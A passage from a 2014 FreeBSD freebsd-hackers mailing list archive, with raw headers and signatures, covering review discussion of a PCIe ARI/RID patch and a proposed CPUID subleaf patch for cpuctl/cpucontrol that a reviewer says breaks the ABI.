h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=TlNc6DmYcZEynudMZqy/zJbSyHjzpVDqYLQCUclUj7Q=; b=FkMSwSyTESxebiyXKZW2hcn4ObdtSAHc43emJrnAhCq5lxRBbcMcAC9georUltB9Bi 3+KRmQtCQ8a51Rgjf0EyRubjoGT0uivwb9gnRBo3cBtroawPfdXYvtrSfcnvhbtW8cvn EabS72q6K29NjAWDFY3NjxIq+iQd6Xie/3NB2qDFd03NFxdHpxJRFmcU8Qwdu7MEi5iZ ZfyLi3kV4Zusy2qO3OXGZ14hgh7g8fdVdJf/NZskDTfOmitj/BVIZClZ+IvV+ALvBZ22 5z1UjhOB0wQMDAFD4wEs+5oDQEgZaunAmOiwxZurkxA8vbo7srLehARG1w74ubRC9lxV QmJA== MIME-Version: 1.0 X-Received: by 10.60.142.229 with SMTP id rz5mr58513308oeb.1.1395689661157; Mon, 24 Mar 2014 12:34:21 -0700 (PDT) Received: by 10.76.115.129 with HTTP; Mon, 24 Mar 2014 12:34:21 -0700 (PDT) In-Reply-To: <20140319140236.GM21331@kib.kiev.ua> References: <20140316141216.GA21331@kib.kiev.ua> <20140319140236.GM21331@kib.kiev.ua> Date: Mon, 24 Mar 2014 15:34:21 -0400 Message-ID: Subject: Re: [PATCH] Support PCIe Alternative RID Interpretation (ARI) From: Ryan Stone To: Konstantin Belousov Content-Type: text/plain; charset=ISO-8859-1 Cc: "freebsd-hackers@freebsd.org" , Neel Natu X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Mar 2014 19:34:22 -0000 On Wed, Mar 19, 2014 at 10:02 AM, Konstantin Belousov wrote: > I do not like this, in fact. Not the general idea, but the implementation. > I think that what is needed is method which would return combined > slot/function number (or just function number for ARI-enabled device). > Then, existing pci_get_bus() and this new method are enough for proper > construction of the translating structures. I disagree with this approach. I think that the interface that you envision is too specific to the needs of the DMAR code. This idea of a "half RID" really only exists in the VT-d spec. I have some more work forthcoming (for which ARI is a requirement) where I need to access the full RID: when PCI SR-IOV is used to instantiate virtual PCI functions(VFs), the VFs appear on the PCI tree at a specified offset from the RID of the parent physical device. That offset is definitely not guaranteed to be < 255 (in other words, the VFs might appear at a different bus number from the parent). The current code that I have to deal with this knows way too much about the details of how to decode RIDs, including the possibility of ARI. Writing it in terms of an interface like pci_get_rid() should simplify it nicely and help localize the knowledge of ARI to the pcib driver. > Again, I do not like this. IMO the patch is too conservative. > Almost all occurences of the s/f in the IOMMU code must be removed, > and replaced by the half-rid returned by the new method from above. > In particular, context must be stripped of s/f at all. Originally I was going to remove all references to slot and function in the DMAR code. However what I found was that there are a number of places that want to print the pci bus/slot/func for debugging purposes. In those places printing out the RID is a lot less user friendly, so I left the slot and func members in the context for this purpose. I wasn't entirely happy with this either to be honest. From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 25 21:14:01 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 063485C5 for ; Tue, 25 Mar 2014 21:14:01 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 805396A5 for ; Tue, 25 Mar 2014 21:14:00 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s2PLDtEW026748; Tue, 25 Mar 2014 23:13:55 +0200 (EET) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s2PLDtEW026748 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s2PLDtgv026747; Tue, 25 Mar 2014 23:13:55 +0200 (EET) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Tue, 25 Mar 2014 23:13:55 +0200 From: Konstantin Belousov To: Ryan Stone Subject: Re: [PATCH] Support PCIe Alternative RID Interpretation (ARI) Message-ID: <20140325211355.GG21331@kib.kiev.ua> References: <20140316141216.GA21331@kib.kiev.ua> <20140319140236.GM21331@kib.kiev.ua> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="TALVG7vV++YnpwZG" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: "freebsd-hackers@freebsd.org" , Neel Natu X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Mar 2014 21:14:01 -0000 --TALVG7vV++YnpwZG Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Mar 24, 2014 at 03:34:21PM -0400, Ryan Stone wrote: > On Wed, Mar 19, 2014 at 10:02 AM, Konstantin Belousov > wrote: > > I do not like this, in fact. Not the general idea, but the implementat= ion. > > I think that what is needed is method which would return combined > > slot/function number (or just function number for ARI-enabled device). > > Then, existing pci_get_bus() and this new method are enough for proper > > construction of the translating structures. >=20 > I disagree with this approach. I think that the interface that you > envision is too specific to the needs of the DMAR code. This idea of > a "half RID" really only exists in the VT-d spec. I have some more > work forthcoming (for which ARI is a requirement) where I need to > access the full RID: when PCI SR-IOV is used to instantiate virtual > PCI functions(VFs), the VFs appear on the PCI tree at a specified > offset from the RID of the parent physical device. That offset is > definitely not guaranteed to be < 255 (in other words, the VFs might > appear at a different bus number from the parent). The current code > that I have to deal with this knows way too much about the details of > how to decode RIDs, including the possibility of ARI. Writing it in > terms of an interface like pci_get_rid() should simplify it nicely and > help localize the knowledge of ARI to the pcib driver. Well, either the interface I described is provided by pci core, or iommu has to de-facto implement it itself. IMO it is clearer to have it in pci, but I do not want to block your work on this. >=20 > > Again, I do not like this. IMO the patch is too conservative. > > Almost all occurences of the s/f in the IOMMU code must be removed, > > and replaced by the half-rid returned by the new method from above. > > In particular, context must be stripped of s/f at all. >=20 > Originally I was going to remove all references to slot and function > in the DMAR code. However what I found was that there are a number of > places that want to print the pci bus/slot/func for debugging > purposes. In those places printing out the RID is a lot less user > friendly, so I left the slot and func members in the context for this > purpose. I wasn't entirely happy with this either to be honest. I mean, that slot and func should be obtained using pci accessors where needed. It is definitely not perf-critical, and I dislike having both bsf and rid in the context structure more, then using accessors. --TALVG7vV++YnpwZG Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTMfGSAAoJEJDCuSvBvK1B5H8QAJXJg5+/ZpljiKm+mUZmc4hL iVzJKmYKzNIbU+wjRMXGnV0qFXSDS2ILV+UfLzPD2j+J5M2sZaP7cbnS1Oa05XQ/ N6oDGHuslPiSrcZphfoD6DEofxl4Ts3Q5iOsQaFT4pBja5Ahddya0wrfE3r2AJni TYZhTxLOvvwlHr6Xt2q+Pg0Fn2E23YASAn2yJauxFcrd7ZkSUFtK2qGhVWfMfapZ BGNqaUtzPx3y5VRHQfzu11ZrYFdP+zMnO9kSpa4JO5gKLAxTJto1DrKNKWDs5MHh 5ozISgkqiEdOm3zb0Ta5aATESOrK41TUIYrLfTMhds7amd1CPPa+JEUN1cJrNrGx wcNpIvQ2t+bmAuPEg42E5zOhmjKxZ+H84r1shGFC5mq2XS5+vy47tROtJLgstZ3n aatSAdHBtaGsqw48O6th5iaz99xRd1lixYsDPrS2HZJKzBE1zWro4LzT8penCzwV 3ZwrXFBMATffo/dwjbyvzUN0CJcAd4S1HnAZRMbqwqftuDPIL9B2+HWR7bdGpDcW 5DnhLnkqbLrSiBVFGYTiCHF3/g6X8GD13qnyxv7V2t12bZfuIDnF+Ho9FqJkBGKy 2LyV4Nwftv5/FFhm6oTCl3VYFmq56oVsS+zDbjgSWqZgdVA4CPnfl/9deJgGYp+v SXaRhAbtawam3dbO6Oxk =F6Jv -----END PGP SIGNATURE----- --TALVG7vV++YnpwZG-- From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 26 15:18:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EB37AE2C for ; Wed, 26 Mar 2014 15:18:33 +0000 (UTC) Received: from mail-ob0-x231.google.com (mail-ob0-x231.google.com [IPv6:2607:f8b0:4003:c01::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id B6D30B80 for ; Wed, 26 Mar 2014 15:18:33 +0000 (UTC) Received: by mail-ob0-f177.google.com with SMTP id wo20so2580725obc.22 for ; Wed, 26 Mar 2014 08:18:33 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:from:date:message-id:subject:to:content-type; bh=+3uoGd8olX95uuNhBW2P6bb/F52mCf3t5cZnLanJw5o=; b=FIQpIS8CdhapoZZfiks1aRwJuEN5fn2HaHwDV8yG1/TPoPJIrUPaiPFmLPcz7QzAFd ljDtf5jK32pDkIAoOJfXBga5g03qif/zNjnVe/PQAuUU3YhVxRJZ4is9m+6jxDi6XCLj ao1v7itz8YcDdlzUhOuizSVodKR9VfaXndmnM3wyHODtvKviB1VKdDS3122m24qmYsUD ywvKIJTDfm4fRhF1Xbaq9+/+56gvdKuwtvYaXypRXhdLW6QhnnlVx0wIJDx+NyFiV3iH kDzUBPmZf4vtI9mEGdaNjtp4EQBztY1sJl7q9a+pJnaBcMu8TNWPB+aXcsTSAEpQlece Xqmw== X-Received: by 10.60.54.228 with SMTP id m4mr37787145oep.29.1395847112940; Wed, 26 Mar 2014 08:18:32 -0700 (PDT) MIME-Version: 1.0 Received: by 10.76.80.194 with HTTP; Wed, 26 Mar 2014 08:18:02 -0700 (PDT) From: Jia-Shiun Li Date: Wed, 26 Mar 2014 23:18:02 +0800 Message-ID: Subject: Add CPUID subleaf capability to cpuctl/cpucontrol To: freebsd-hackers@freebsd.org Content-Type: multipart/mixed; boundary=089e0115ffc654ce9904f583fb37 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Mar 2014 15:18:34 -0000 --089e0115ffc654ce9904f583fb37 Content-Type: text/plain; charset=UTF-8 Hi all, I am recently writing a small tool playing msr with cpuctl(4). Meanwhile I found that it is currently not passing value but 0 in ECX register to CPUID instruction as input. So I have the attached patch to do it. ECX is used to specify sub-leaf for some EAX leaf value. For example EAX=0x04: Deterministic Cache Parameters Leaf EAX=0x0b: Extended Topology Enumeration Leaf with the attached patch user will be able to get subleaf info by writing applications using cpuctl(4) ioctl or by using cpucontrol(8) with -s flag. Please comment. Regards, Jia-Shiun. --089e0115ffc654ce9904f583fb37 Content-Type: text/plain; charset=US-ASCII; name="cpuid-subleaves.patch.txt" Content-Disposition: attachment; filename="cpuid-subleaves.patch.txt" Content-Transfer-Encoding: base64 X-Attachment-Id: f_ht8rce4s0 SW5kZXg6IHN5cy9kZXYvY3B1Y3RsL2NwdWN0bC5jCj09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIHN5cy9kZXYvY3B1 Y3RsL2NwdWN0bC5jCShyZXZpc2lvbiAyNjM0MjApCisrKyBzeXMvZGV2L2NwdWN0bC9jcHVjdGwu Ywkod29ya2luZyBjb3B5KQpAQCAtMjA0LDcgKzIwNCw3IEBACiAJb2xkY3B1ID0gdGQtPnRkX29u Y3B1OwogCWlzX2JvdW5kID0gY3B1X3NjaGVkX2lzX2JvdW5kKHRkKTsKIAlzZXRfY3B1KGNwdSwg dGQpOwotCWNwdWlkX2NvdW50KGRhdGEtPmxldmVsLCAwLCBkYXRhLT5kYXRhKTsKKwljcHVpZF9j b3VudChkYXRhLT5sZXZlbCwgZGF0YS0+c3VibGV2ZWwsIGRhdGEtPmRhdGEpOwogCXJlc3RvcmVf Y3B1KG9sZGNwdSwgaXNfYm91bmQsIHRkKTsKIAlyZXR1cm4gKDApOwogfQpJbmRleDogc3lzL3N5 cy9jcHVjdGwuaAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09Ci0tLSBzeXMvc3lzL2NwdWN0bC5oCShyZXZpc2lvbiAyNjM0 MjApCisrKyBzeXMvc3lzL2NwdWN0bC5oCSh3b3JraW5nIGNvcHkpCkBAIC0zNiw2ICszNiw3IEBA CiAKIHR5cGVkZWYgc3RydWN0IHsKIAlpbnQJCWxldmVsOwkvKiBDUFVJRCBsZXZlbCAqLworCWlu dAkJc3VibGV2ZWw7IC8qIHN1YmxldmVsICovCiAJdWludDMyX3QJZGF0YVs0XTsKIH0gY3B1Y3Rs X2NwdWlkX2FyZ3NfdDsKIApJbmRleDogdXNyLnNiaW4vY3B1Y29udHJvbC9jcHVjb250cm9sLmMK PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PQotLS0gdXNyLnNiaW4vY3B1Y29udHJvbC9jcHVjb250cm9sLmMJKHJldmlzaW9u IDI2MzQyMCkKKysrIHVzci5zYmluL2NwdWNvbnRyb2wvY3B1Y29udHJvbC5jCSh3b3JraW5nIGNv cHkpCkBAIC02MCw2ICs2MCw3IEBACiAjZGVmaW5lCUZMQUdfSQkweDAxCiAjZGVmaW5lCUZMQUdf TQkweDAyCiAjZGVmaW5lCUZMQUdfVQkweDA0CisjZGVmaW5lCUZMQUdfUwkweDA4CiAKICNkZWZp bmUJT1BfSU5WQUwJMHgwMAogI2RlZmluZQlPUF9SRUFECQkweDAxCkBAIC05OCw3ICs5OSw3IEBA CiAKIHN0YXRpYyB2b2lkCXVzYWdlKHZvaWQpOwogc3RhdGljIGludAlpc2Rpcihjb25zdCBjaGFy ICpwYXRoKTsKLXN0YXRpYyBpbnQJZG9fY3B1aWQoY29uc3QgY2hhciAqY21kYXJnLCBjb25zdCBj aGFyICpkZXYpOworc3RhdGljIGludAlkb19jcHVpZChjb25zdCBjaGFyICpjbWRhcmcsIGNvbnN0 IGNoYXIgKnN1YmxldmVsYXJnLCBjb25zdCBjaGFyICpkZXYpOwogc3RhdGljIGludAlkb19tc3Io Y29uc3QgY2hhciAqY21kYXJnLCBjb25zdCBjaGFyICpkZXYpOwogc3RhdGljIGludAlkb191cGRh dGUoY29uc3QgY2hhciAqZGV2KTsKIHN0YXRpYyB2b2lkCWRhdGFkaXJfYWRkKGNvbnN0IGNoYXIg KnBhdGgpOwpAQCAtMTMxLDkgKzEzMiwxMCBAQAogfQogCiBzdGF0aWMgaW50Ci1kb19jcHVpZChj b25zdCBjaGFyICpjbWRhcmcsIGNvbnN0IGNoYXIgKmRldikKK2RvX2NwdWlkKGNvbnN0IGNoYXIg KmNtZGFyZywgY29uc3QgY2hhciAqc3VibGV2ZWxhcmcsIGNvbnN0IGNoYXIgKmRldikKIHsKIAl1 bnNpZ25lZCBpbnQgbGV2ZWw7CisJdW5zaWduZWQgaW50IHN1YmxldmVsOwogCWNwdWN0bF9jcHVp ZF9hcmdzX3QgYXJnczsKIAlpbnQgZmQsIGVycm9yOwogCWNoYXIgKmVuZHB0cjsKQEAgLTE0Nywx MSArMTQ5LDIyIEBACiAJCXVzYWdlKCk7CiAJCS8qIE5PVFJFQUNIRUQgKi8KIAl9CisJaWYgKHN1 YmxldmVsYXJnICE9IE5VTEwpIHsKKwkJc3VibGV2ZWwgPSBzdHJ0b3VsKHN1YmxldmVsYXJnLCAm ZW5kcHRyLCAxNik7CisJCWlmICgqc3VibGV2ZWxhcmcgPT0gJ1wwJyB8fCAqZW5kcHRyICE9ICdc MCcpIHsKKwkJCVdBUk5YKDAsICJpbmNvcnJlY3Qgb3BlcmFuZDogJXMiLCBjbWRhcmcpOworCQkJ dXNhZ2UoKTsKKwkJCS8qIE5PVFJFQUNIRUQgKi8KKwkJfQorCX0gZWxzZSB7CisJCXN1YmxldmVs ID0gMDsKKwl9CiAKIAkvKgogCSAqIEZpbGwgaW9jdGwgYXJndW1lbnQgc3RydWN0dXJlLgogCSAq LwogCWFyZ3MubGV2ZWwgPSBsZXZlbDsKKwlhcmdzLnN1YmxldmVsID0gc3VibGV2ZWw7CiAJZmQg PSBvcGVuKGRldiwgT19SRE9OTFkpOwogCWlmIChmZCA8IDApIHsKIAkJV0FSTigwLCAiZXJyb3Ig b3BlbmluZyAlcyBmb3IgcmVhZGluZyIsIGRldik7CkBAIC0xNjMsOCArMTc2LDggQEAKIAkJY2xv c2UoZmQpOwogCQlyZXR1cm4gKGVycm9yKTsKIAl9Ci0JZnByaW50ZihzdGRvdXQsICJjcHVpZCBs ZXZlbCAweCV4OiAweCUuOHggMHglLjh4IDB4JS44eCAweCUuOHhcbiIsCi0JICAgIGxldmVsLCBh cmdzLmRhdGFbMF0sIGFyZ3MuZGF0YVsxXSwgYXJncy5kYXRhWzJdLCBhcmdzLmRhdGFbM10pOwor CWZwcmludGYoc3Rkb3V0LCAiY3B1aWQgbGV2ZWwgMHgleCBzdWJsZXZlbCAweCV4OiAweCUuOHgg MHglLjh4IDB4JS44eCAweCUuOHhcbiIsCisJICAgIGxldmVsLCBzdWJsZXZlbCwgYXJncy5kYXRh WzBdLCBhcmdzLmRhdGFbMV0sIGFyZ3MuZGF0YVsyXSwgYXJncy5kYXRhWzNdKTsKIAljbG9zZShm ZCk7CiAJcmV0dXJuICgwKTsKIH0KQEAgLTM2NywxOCArMzgwLDIwIEBACiB7CiAJaW50IGMsIGZs YWdzOwogCWNvbnN0IGNoYXIgKmNtZGFyZzsKKwljb25zdCBjaGFyICpzdWJsZXZlbGFyZzsKIAlj b25zdCBjaGFyICpkZXY7CiAJaW50IGVycm9yOwogCiAJZmxhZ3MgPSAwOwogCWVycm9yID0gMDsK LQljbWRhcmcgPSAiIjsJLyogVG8ga2VlcCBnY2MzIGhhcHB5LiAqLworCWNtZGFyZyA9IE5VTEw7 CisJc3VibGV2ZWxhcmcgPSBOVUxMOwogCiAJLyoKIAkgKiBBZGQgYWxsIGRlZmF1bHQgZGF0YSBk aXJzIHRvIHRoZSBsaXN0IGZpcnN0LgogCSAqLwogCWRhdGFkaXJfYWRkKERFRkFVTFRfREFUQURJ Uik7Ci0Jd2hpbGUgKChjID0gZ2V0b3B0KGFyZ2MsIGFyZ3YsICJkOmhpOm06dXYiKSkgIT0gLTEp IHsKKwl3aGlsZSAoKGMgPSBnZXRvcHQoYXJnYywgYXJndiwgImQ6aGk6bTp1dnM6IikpICE9IC0x KSB7CiAJCXN3aXRjaCAoYykgewogCQljYXNlICdkJzoKIAkJCWRhdGFkaXJfYWRkKG9wdGFyZyk7 CkBAIC0zOTEsNiArNDA2LDEwIEBACiAJCQlmbGFncyB8PSBGTEFHX007CiAJCQljbWRhcmcgPSBv cHRhcmc7CiAJCQlicmVhazsKKwkJY2FzZSAncyc6CisJCQlmbGFncyB8PSBGTEFHX1M7CisJCQlz dWJsZXZlbGFyZyA9IG9wdGFyZzsKKwkJCWJyZWFrOwogCQljYXNlICd1JzoKIAkJCWZsYWdzIHw9 IEZMQUdfVTsKIAkJCWJyZWFrOwpAQCAtNDE0LDcgKzQzMywxMSBAQAogCWMgPSBmbGFncyAmIChG TEFHX0kgfCBGTEFHX00gfCBGTEFHX1UpOwogCXN3aXRjaCAoYykgewogCQljYXNlIEZMQUdfSToK LQkJCWVycm9yID0gZG9fY3B1aWQoY21kYXJnLCBkZXYpOworCQkJaWYgKDAgIT0gKGZsYWdzICYg RkxBR19TKSkgeworCQkJCWVycm9yID0gZG9fY3B1aWQoY21kYXJnLCBzdWJsZXZlbGFyZywgZGV2 KTsKKwkJCX0gZWxzZSB7CisJCQkJZXJyb3IgPSBkb19jcHVpZChjbWRhcmcsIE5VTEwsIGRldik7 CisJCQl9CiAJCQlicmVhazsKIAkJY2FzZSBGTEFHX006CiAJCQllcnJvciA9IGRvX21zcihjbWRh cmcsIGRldik7Cg== --089e0115ffc654ce9904f583fb37-- From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 26 15:54:39 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 43F01815 for ; Wed, 26 Mar 2014 15:54:39 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id BCE3CF5C for ; Wed, 26 Mar 2014 15:54:38 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s2QFsT4c062741; Wed, 26 Mar 2014 17:54:29 +0200 (EET) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s2QFsT4c062741 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s2QFsT7u062740; Wed, 26 Mar 2014 17:54:29 +0200 (EET) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Wed, 26 Mar 2014 17:54:29 +0200 From: Konstantin Belousov To: Jia-Shiun Li Subject: Re: Add CPUID subleaf capability to cpuctl/cpucontrol Message-ID: <20140326155429.GK21331@kib.kiev.ua> References: MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Tw5XVHq4jmAOFG53" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Mar 2014 15:54:39 -0000 --Tw5XVHq4jmAOFG53 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Mar 26, 2014 at 11:18:02PM +0800, Jia-Shiun Li wrote: > Hi all, >=20 > I am recently writing a small tool playing msr with cpuctl(4). > Meanwhile I found that it is currently not passing value but 0 in ECX > register to CPUID instruction as input. So I have the attached patch > to do it. >=20 > ECX is used to specify sub-leaf for some EAX leaf value. For example > EAX=3D0x04: Deterministic Cache Parameters Leaf > EAX=3D0x0b: Extended Topology Enumeration Leaf > with the attached patch user will be able to get subleaf info by > writing applications using cpuctl(4) ioctl or by using cpucontrol(8) > with -s flag. >=20 > Please comment. >=20 > Regards, > Jia-Shiun. > Index: sys/dev/cpuctl/cpuctl.c > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > --- sys/dev/cpuctl/cpuctl.c (revision 263420) > +++ sys/dev/cpuctl/cpuctl.c (working copy) > @@ -204,7 +204,7 @@ > oldcpu =3D td->td_oncpu; > is_bound =3D cpu_sched_is_bound(td); > set_cpu(cpu, td); > - cpuid_count(data->level, 0, data->data); > + cpuid_count(data->level, data->sublevel, data->data); > restore_cpu(oldcpu, is_bound, td); > return (0); > } > Index: sys/sys/cpuctl.h > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > --- sys/sys/cpuctl.h (revision 263420) > +++ sys/sys/cpuctl.h (working copy) > @@ -36,6 +36,7 @@ > =20 > typedef struct { > int level; /* CPUID level */ > + int sublevel; /* sublevel */ > uint32_t data[4]; > } cpuctl_cpuid_args_t; This breaks the ABI. If you want to extend the CPUCTL_CPUID, define new ioctl number for the extended structure, and keep the old arg structure and old number handled by the compat shims. Due to the construction of the CPUCTL_CPUID using _IOWR(), you in fact get the new number due to the structure size change. But IMO adding this functionality to a driver does not make much sense at all. I remember that at time when initial version of cpuctl(4) was written, we did not have useful implementation of cpuset(2). Now, when it is possible to bind thread to a core from usermode, you do not need a driver providing interface to CPUID, since CPUID is usermode instruction. --Tw5XVHq4jmAOFG53 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTMvg0AAoJEJDCuSvBvK1BcZgQAJixSRY0/ifHDdsvBF5qVl/Y i6CQITdSsiExUvORMO3NVerpfQIAlJ0yTwBRLP+ASN3uaP6AYR7S6ry8duMikP8/ AYSxffv52S6fxomb4zWxqmnn9o688wfMC0tIHPQXu4406YxLOg5ocYB56tRL+r4o A7+O3rKAGbHAsaMpTbhXnaUUf8RMMVFjPWpIdOvdB96VQ8oHvXe6fVpJOj7cSAye pYOehMlUxHK34Z+20U6GVJ7i6e4ons2wfLDH6iaY5RxgezqilfEWmjUlKxy8Leoe IQ3aty/qwRlVajC9a2nn/rU0pH/0T9aENULDxvxSwBih1m2zC7wTno2XH2xiH3r0 wnotmEVcp1A9xvpxKOFE6xVSeaTJNV11sNnoMApV7qF7WP7ph9ITvkO0GfMwajkP umHa2L9KVHkblBD39gpwBfTMHOUs3sKx5wJSlPiz3dev/9V/Xv/RSOgmrg1G+wvw w7u3DGyu5a17rdYd2I4DDpBaZYFDPH8c/YPP8MKKQDR3yOkkNF1TQ76jPUZTOZzQ FwjItqRunIVgWHDG5zLGuzNX4BVHGDjJ8rENvhzv1FJOnePkHrTqJsUr9na7ixHI 9AmG6uNvO9k9mW8mUgMFo3LNi4Y+5cw7ZydPtei0v8jHXc6J9vaYBqa9rYFKibhZ S9PkWVIEHRRTBDsUfcG3 =NS/n -----END PGP SIGNATURE----- --Tw5XVHq4jmAOFG53-- From owner-freebsd-hackers@FreeBSD.ORG Wed Mar 26 21:24:32 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 521CF518 for ; Wed, 26 Mar 2014 21:24:32 +0000 (UTC) Received: from mail-vc0-x232.google.com (mail-vc0-x232.google.com [IPv6:2607:f8b0:400c:c03::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 1448BE3F for ; Wed, 26 Mar 2014 21:24:32 +0000 (UTC) Received: by mail-vc0-f178.google.com with SMTP id im17so3171225vcb.37 for ; Wed, 26 Mar 2014 14:24:31 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=8agcRqkj4cPc36fmed5DEGjObKlj0kk2wtUG3w6xACQ=; b=jOiaxqgUlh7ZVzNhtuZek1ax5T0sXUviEe2sErDP2NFO15m1gcQCSVe5K5vw01jr8j XOO4Y1l5wYTkt7rEoyOQOPm0dQ+OvWw/nrDcPtb+dbHAs75oseIYBpNiffH8CkcTGdRA 0PWtLfsdayCnO182IhaqEPdNp9pEw8Dm02sxwf7A1PThfDwPwi+jssF4tnYjr6F31gyV KYvrrsRgiT5iPRQARH+EUmTE1DnllhErdaWU9fbfw9poKz8x5claIjZUPquEdVWKtz1w pDok7llQsngBgKANsmKqdfsSL1wL4WmuVi7J1fC80M9oUxUjhR0dajjtJ4V46gGMoALV Qgeg== MIME-Version: 1.0 X-Received: by 